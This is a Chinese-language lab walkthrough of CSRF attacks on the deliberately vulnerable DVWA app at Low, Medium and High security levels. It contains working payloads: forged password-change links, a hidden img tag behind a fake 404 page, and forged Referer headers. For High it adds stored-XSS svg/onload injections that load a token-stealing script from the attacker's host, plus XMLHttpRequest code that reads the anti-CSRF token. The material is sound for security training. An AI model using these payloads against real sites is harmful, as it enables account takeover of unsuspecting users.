天天看点

DVWA之CSRF攻击

DVWA之CSRF攻击

CSRF(Cross-site request forgery)跨站请求伪造:攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。

DVWA之CSRF攻击

LOW

源代码

<?php
if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];    
    $pass_conf = $_GET[ 'password_conf' ];
    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );
        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
           

解析

$GLOBALS  --引用全局作用域中可用的全部变量
mysqli_real_escape_string() --转义在 SQL 语句中使用的字符串中的特殊字符
           

判断用户输入的

'password_new'

'password_conf'

是否相同,如果不相同,报出

Passwords did not match.

。如果相同,查找数据库中有没有和

pass_new

相同的对象,没有的话报错,有的话,使用

mysqli_real_escape_string()

对特殊字符转义,再用md5进行加密,最后更新数据库

构造链接

输入两次不一样的密码,查看URL

DVWA之CSRF攻击

接着将密码改成希望设置的密码

http://10.12.202.9/dvwa/vulnerabilities/csrf/?password_new=abc&password_conf=abc&Change=Change#
           

打开一个新的dvwa页面,在url中粘贴构建的url,直接跳转到修改密码成功的页面了。

原先的用户名为admin,密码是password。logout一下,再使用原先的密码已经不行了,攻击成功。

短链接

由于长链接意图过于明显,可以使用网上在线短链接生成器换成短链接。

DVWA之CSRF攻击

同样可以跳转

构造网页

上述两种方法都会跳转到密码更改成功的界面,不隐蔽,使用如下html编写一个网页

<img src="http://10.12.202.9/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#" style="display:none;"/>
<h1>404<h1>
<h2>file not found.<h2>  
           

当用户访问该页面时,会以为页面不存在,实际上我们已经更改了他的密码

Medium

源代码

CSRF Source
vulnerabilities/csrf/source/medium.php
<?php
if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
           

解析

stripos()

函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。

HTTP Referer

是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。

SERVER_NAME

是要访问的主机名

过滤规则为http包头的Referer参数的值中是否包含主机名

抓包

首先正常访问修改密码的网址,更改密码,上传进行抓包

DVWA之CSRF攻击

可以看到有一栏Referer,就是该页面的url

接着使用此前构造的网页尝试

DVWA之CSRF攻击

会发现没有这一行

我们在此报文上加入这一行

可以看到密码成功更改

DVWA之CSRF攻击

High(有点问题)

源代码

CSRF Source
vulnerabilities/csrf/source/high.php
<?php
if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];
    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );
        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
           

解析

在这里插入代码片
           

方法一

目标网站:10.12.202.25 本地网站:http://192.168.1.15

WEB根建立一个x.js脚本文件

ifr = document.createElement('iframe');
ifr.src="../csrf";
ifr.hidden=1;
document.body.appendChild(ifr);
setTimeout(function(){f=frames[0];t=f.document.getElementsByName('user_token')[0].value;i=document.createElement('img');i.src='../csrf/?password_new=admin&password_conf=admin&Change=Change&user_token='+t;},4000)

           

设置浏览器代理为经过burpsuite访问

DVWA之CSRF攻击

进入dvwa,设置level 为high,进入XSS (Stored)页面,并打开拦截

在页面上随意输入,提交

将报文传到repeater

更改name并提交,执行四次,代码如下:

<svg/onload="setTimeout(function(){b='ipt';a='scr';s=a %2B b},3000)">

<svg/onload="setTimeout(function(){j=document.createElement(s)},4000)">

<svg/onload="setTimeout(function(){j.src='http://http://192.168.1.15/x.js'},5000)">

<svg/onload="setTimeout(function(){document.body.appendChild(j)},6000)">
           
DVWA之CSRF攻击

四次注入完,页面应呈现状态

DVWA之CSRF攻击

**1)**可以通过xss(stored)的url登录

http://10.12.202.25/dvwa/vulnerabilities/xss_s/
           

**2)**登录快捷方式(或某个网站),该网站页面引用了dvwa的XSS(Stored)页面,使管理员进入XSS(Stored)页面。

详见xss手动版

**3)**在自己的站点建立一个1.html文件,内容

<script>
aa=window.open("http://10.12.202.25/dvwa/vulnerabilities/xss_s/","","fullscreen=1","alwaysLowered=1","titlebar=no","toolbar=no","menubar=no","scrollbars=no", "location=no", "status=no","depended=yes");
aa.blur();
self.focus();
aa.resizeTo(10,10);
aa.moveTo(screen.availWidth,screen.availHeight);
</script>
<h1>404<h1>
<h2>file not found.<h2>

           

让管理员浏览这个站点上的xxx.html文件。浏览该文件会打开一个窗口访问XSS(Stored)页面。

将这段代码存入存储型xss

方法二

DVWA之CSRF攻击

user_token在一个input函数下

我们需要拿到隐藏的input函数的value,再放到伪造的请求中,就可以实现攻击了。

利用抓包将name改为

test.js如下:

var xhr=new XMLHttpRequest();
xhr.open('get','../csrf');
xhr.send();
var res="";
var token="";
xhr.onreadystatechange = function () {
        if (xhr.readyState == 4 && xhr.status == 200) {
            res = xhr.responseText;
			var regex = /user_token\' value\=\'(.*?)\' \/\>/;
            var match = res.match(regex);
			token=match[1]
			
			var xhr_new=new XMLHttpRequest();
			var new_url='../csrf/?password_new=456&password_conf=456&Change=Change&user_token='+token;
			xhr_new.open('get',new_url)
            xhr_new.send()
        }
    };  
           

接着希望用户能够转到存储型xss页面